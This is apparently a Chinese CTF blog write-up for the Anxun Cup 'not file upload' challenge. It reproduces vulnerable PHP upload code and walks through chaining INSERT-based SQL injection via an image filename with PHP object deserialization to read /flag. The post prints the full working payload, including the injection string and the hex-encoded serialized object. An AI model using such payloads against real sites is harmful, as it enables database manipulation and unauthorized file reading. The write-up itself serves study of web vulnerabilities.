【安洵杯-不是文件上传】文件上传+insert注入

本文最后更新于:2023年8月25日 下午

[TOC]

[安洵杯-不是文件上传]代码审计+文件上传+insert注入

首页是一个文件上传页面

image-20230731124554241

测试只能上传图片,是白名单

题目给出了源码:

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html>
<head>
<title>Image Upload</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
<form name="upload" action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="Submit" value="submit">
</form>
</div>

<br>
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>

<?php
include("./helper.php");

class upload extends helper
{
public function upload_base()
{
$this->upload();
}
}

if ($_FILES) {
if ($_FILES["file"]["error"]) {
die("Upload file failed.");
} else {
$file = new upload();
$file->upload_base();
}
}

$a = new helper();
?>
</body>
</html>

show.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<html>
<head>
<title>Show Images</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>

<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();

class show{
public $con;

public function __construct(){
$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}

public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>

<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>

</body>
</html>

helper.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.

public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}

public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}

public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

?>

这里的重点是helper.php

在upload()函数中,会将相关信息保存在$array数组中,注意到有一个地方被序列化了:$array["attr"] = serialize($my_ext); ,然后经过相关的检查会将$array数组插入到mysql数据库中去

我们分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}

如果$this->config=/flag,并且$this->ifview=true的话,当helper对象会序列化就会读取flag的内容,并且输出,这是利用点。但默认值读不了flag,怎么读?

我们需要构造一个特定值序列化后的串,然后经过unserialize(),当对象销毁就会输出flag

哪里有反序列化函数?在show.php的Get_All_Images():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

这个函数会将传入的数组中的attr属性的值先替换一下然后反序列化,这个属性就是helper.php$array['attr']经过序列化后的值,所以我们需要构造一下,将该值替换为恶意构造的序列化串

但是$array["attr"]默认的值是图片的宽高数组序列化后的值,没法控制输入

1
2
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);

怎么才能将自己的序列化串插入呢?我们注意到insert_array()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public function insert_array($data)
{
...
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
...
return $id;
}

在这个函数中会执行sql语句,将输入插入到字符串,但是这里存在insert注入

我们查看check()函数:

1
2
3
4
5
6
7
8
9
10
11
12
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

这里的$title$filename传入,并且没有经过任何过滤,所以可以从这里入手,构造成这种格式:

1
2
3
tit','fn','.png','path','O:{yy}'),('title.png
即:
insert into images (`title`,`filename`,`ext`,`path`,`attr`) values('tit','fn','.png','path','O:{yy}'),('title.png')

这个序列化串如何构造呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class helper
{
protected $folder = "pic/";
protected $ifview = true;
protected $config = "/flag";
}

$a = new helper();
echo serialize($a);

# O:6:"helper":3:{s:9:" * folder";s:4:"pic/";s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

image-20230731131038333

但是这里不能直接传入,因为变量是protected类型经过序列化后会加上%00

我们注意到之前insert_array()经过了替换:

1
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);

所以我们替换成:

1
O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

总的filename就是:

1
tit','fn','.png','path','O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}'),('title.png

但是传过去发现无效,因为文件名双引号"冲突了,我们可以将其转化为16进制:

1
2
3
O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d

总的filename:

1
tit','fn','.png','path',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('title.png

image-20230731131622797

访问一下show.php,就会反序列化,输出flag:

image-20230731131648600

mysql特性

这里有些同学会有些疑惑,为什么我们插入到数据库中的是序列化串的16进制形式:

1
0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d

为什么后面反序列化还能成功?

这是因为利用了mysql的特性

当mysql中插入一个16进制的值时会自动将其转化为字符串

image-20230731132712044

如图成功转为字符串,所以我们插入16进制就会转为字符串插入到数据库,这样取出来就可以成功反序列化啦


【安洵杯-不是文件上传】文件上传+insert注入
https://leekosss.github.io/2023/08/24/[安洵杯-不是文件上传]文件上传+insert注入/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议